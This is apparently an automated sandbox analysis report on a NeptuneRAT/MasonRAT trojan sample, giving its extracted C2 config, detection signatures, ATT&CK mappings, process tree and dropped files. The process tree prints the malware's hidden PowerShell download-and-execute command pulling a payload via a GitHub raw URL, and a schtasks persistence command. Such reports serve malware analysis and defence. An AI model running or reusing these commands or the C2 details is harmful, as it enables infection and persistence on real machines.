Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
17/08/2026, 06:31
General
- Target 2026-08-17_4332975e8a12e23be715d92270cd499f_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
- Size 20.7MB
- Sample260817-hah67aaa29
- SHA256 0832bc0e5021bd019a434c94617315c7bbb28b92961acfc9cf9e84b4eac7d4ad
Malware Config
Extracted
-
neptunerat
-
abu3ofhack-64862.portmap.host:25340
-
filename
USB.exe
-
group
MasonGroup
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key
HQbiPylPCtcS2Sa6
-
rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 2 IoCs
- Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF 2 IoCs
- Detects Windows executables referencing non-Windows User-Agents 2 IoCs
- Detects executables containing URLs to raw contents of a Github gist 2 IoCs
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Powershell Invoke Web Request.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 11 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-08-17_4332975e8a12e23be715d92270cd499f_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-17_4332975e8a12e23be715d92270cd499f_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-08-17_4332975e8a12e23be715d92270cd499f_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-17_4332975e8a12e23be715d92270cd499f_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\visible.exeC:\Users\Admin\AppData\Local\Temp\visible.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
-
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C:\Users\Admin\AppData\Local\Temp\fspg8nsaxfjk.exeC:\Users\Admin\AppData\Local\Temp\fspg8nsaxfjk.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "$url=(Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/76bh/img/refs/heads/main/u2L' -UseBasicParsing).Content.Trim();$out=$env:TEMP+'\MasonKit.com';(New-Object Net.WebClient).DownloadFile($url,$out);Start-Process $out"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Masonfspg8nsaxfjk.exe"C:\Users\Admin\AppData\Roaming\Masonfspg8nsaxfjk.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Masonfspg8nsaxfjk" /tr "C:\Users\Admin\AppData\Roaming\Masonfspg8nsaxfjk.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Users\Admin\AppData\Roaming\Masonfspg8nsaxfjk.exeC:\Users\Admin\AppData\Roaming\Masonfspg8nsaxfjk.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
VoicemeeterRemote.dll
_chacha20.pyd
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_lzma.pyd
_wmi.pyd
_zstd.pyd
base_library.zip
libffi-8.dll
python314.dll
fspg8nsaxfjk.exe
visible.exe
memory/1944-132-0x000002BF722D0000-0x000002BF723D8000-memory.dmp
memory/1944-121-0x000002BF722D0000-0x000002BF723D8000-memory.dmp
memory/1944-118-0x000002BF71B60000-0x000002BF71B82000-memory.dmp
memory/5720-96-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5720-108-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5720-135-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5720-91-0x00007FFB0C3BF000-0x00007FFB0C3C0000-memory.dmp
memory/5720-92-0x0000000000860000-0x0000000000874000-memory.dmp
memory/5720-117-0x000000001B550000-0x000000001B560000-memory.dmp
memory/5720-100-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5720-102-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5720-103-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5720-104-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5720-105-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5720-106-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5720-107-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5720-94-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5720-110-0x000000001B550000-0x000000001B560000-memory.dmp
memory/5720-114-0x00007FFB0C230000-0x00007FFB0CBD4000-memory.dmp
memory/5736-93-0x0000000000DB0000-0x000000000104A000-memory.dmp
memory/5736-109-0x0000000005B60000-0x0000000005B70000-memory.dmp
memory/5736-115-0x0000000074ED2000-0x0000000074ED3000-memory.dmp
memory/5736-116-0x0000000005B60000-0x0000000005B70000-memory.dmp
memory/5736-101-0x0000000005C30000-0x0000000005E4C000-memory.dmp
memory/5736-99-0x0000000005AD0000-0x0000000005ADA000-memory.dmp
memory/5736-90-0x0000000074ED2000-0x0000000074ED3000-memory.dmp
memory/5736-95-0x0000000006090000-0x000000000664A000-memory.dmp
memory/5736-97-0x0000000005A10000-0x0000000005AA2000-memory.dmp